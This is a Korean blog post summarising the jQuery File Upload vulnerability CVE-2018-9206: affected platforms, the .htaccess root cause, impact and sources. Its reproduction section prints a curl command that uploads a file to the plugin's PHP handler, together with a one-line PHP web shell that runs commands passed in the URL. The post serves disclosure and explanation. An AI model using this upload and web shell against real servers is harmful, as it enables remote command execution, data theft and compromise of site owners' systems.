jQuery File Upload Plugin Vulnerability (CVE-2018-9206)
발견자 : 아카마이 Larry Cashdollar가 발견함.
*jQuery file upload:jQuery 위젯으로 다수 파일 선택, 드래그&드랍 지원, 진행바, 이미지/오디오/비디오 파일 검증 도구 함유
<영향받는 제품>
기본 HTML 형식의 파일 업로드 형태를 지원하는 모든 서버 플랫폼이 해당함 - PHP, Python, Ruby on Rails, Java, Node.js, GO. 2010년도 등의 오래된 버전도 해당됨.
해당 플러그인이나 플러그인을 토대로 만들어진 코드들은 이 취약점을 가지고 있으며, 취약점을 이용한 공격방법은 유투브에서 쉽게 찾아 볼 수 있음. 단독으로 사용되는 웹 어플리케이션부터 워드프레스 플러그인 등 다른 컨텐츠 관리 시스템들이 모두 해당됨.
<취약원인>
성능항샹과(아파치가 디렉토르에 접근할때마다 .htaccess 파일을 체크하지 않아되기 때문) 서버에 셋팅된 보안 설정을 사용자가 오버라이드 하지 못하도록 2.3.9. 버전부터 .htaccess를 사용불가능하게 한 것이 주된 원인. jQuery File Upload PHP는 보안을 .htaccess 파일에 의존함.이 취약점은 플러그인이 파일 업로드를 컨텐츠 유형 이미지로만 업로드를 허용하면서 발생함.
<재현>
server/php 폴더: upload.php, UploadHandler.php: 파일 업로드 코드가 있음
파일은 서버 루트 패스의 files/ 폴더에 저장되고 이를 공격자가 웹 쉘을 업로드하여 서버에 명령어들을 실행할 수 있음
1) 명령어 실행
$ curl -F ""files=@shell.php"" http://example.com/jQuery-File-Upload-9.22.0/server/php/index.php
Where shell.php is:
<?php $cmd=$_GET['cmd']; system($cmd);?>
2) cmd=id 테스트 웹 서버에 연결된 브라우저는 웹서버가 실행중은 프로세서 id 값을 리턴함.
- 영향성: 파일업로드와 코드실행 취약점 및 데이터 유출, 악성코드 감염, 변조 등 다양한 공격에 취약하게 만듦.
취약한 플러그인을 포킹해서 사용하는 프로젝트들 중 얼마나 많은 수의 프로젝트들이 안전하게 유지,관리되고 있는지 알 수 없고, 이 플러그인을 포킹한 프로젝트들이 어떤 것들인지 알 길이 없음.
<관련 CVE코드>
CVE-2018-9206
PoC : https://github.com/lcashdol/Exploits/tree/master/CVE-2018-9206
출처: https://blogs.akamai.com/sitr/2018/10/having-the-security-rug-pulled-out-from-under-you.html
https://www.securityweek.com/0-day-jquery-plugin-impacts-thousands-applications
'Vulnerability' 카테고리의 다른 글
[2018.10.25] Windows 제로데이 무작위 파일 삭제 취약점 (0) | 2019.03.06 |
---|---|
[2018.10.23] libssh 취약점 해당제품 및 모델 (0) | 2019.03.06 |
[2018.10.17] iPhone 암호 우회 취약점 (0) | 2019.03.05 |
[2018.10.10] Dell 서버 취약점 (0) | 2019.03.05 |
[2018.09.06] 윈도우 제로데이 TaskManage Schedular vulnerability (0) | 2019.03.05 |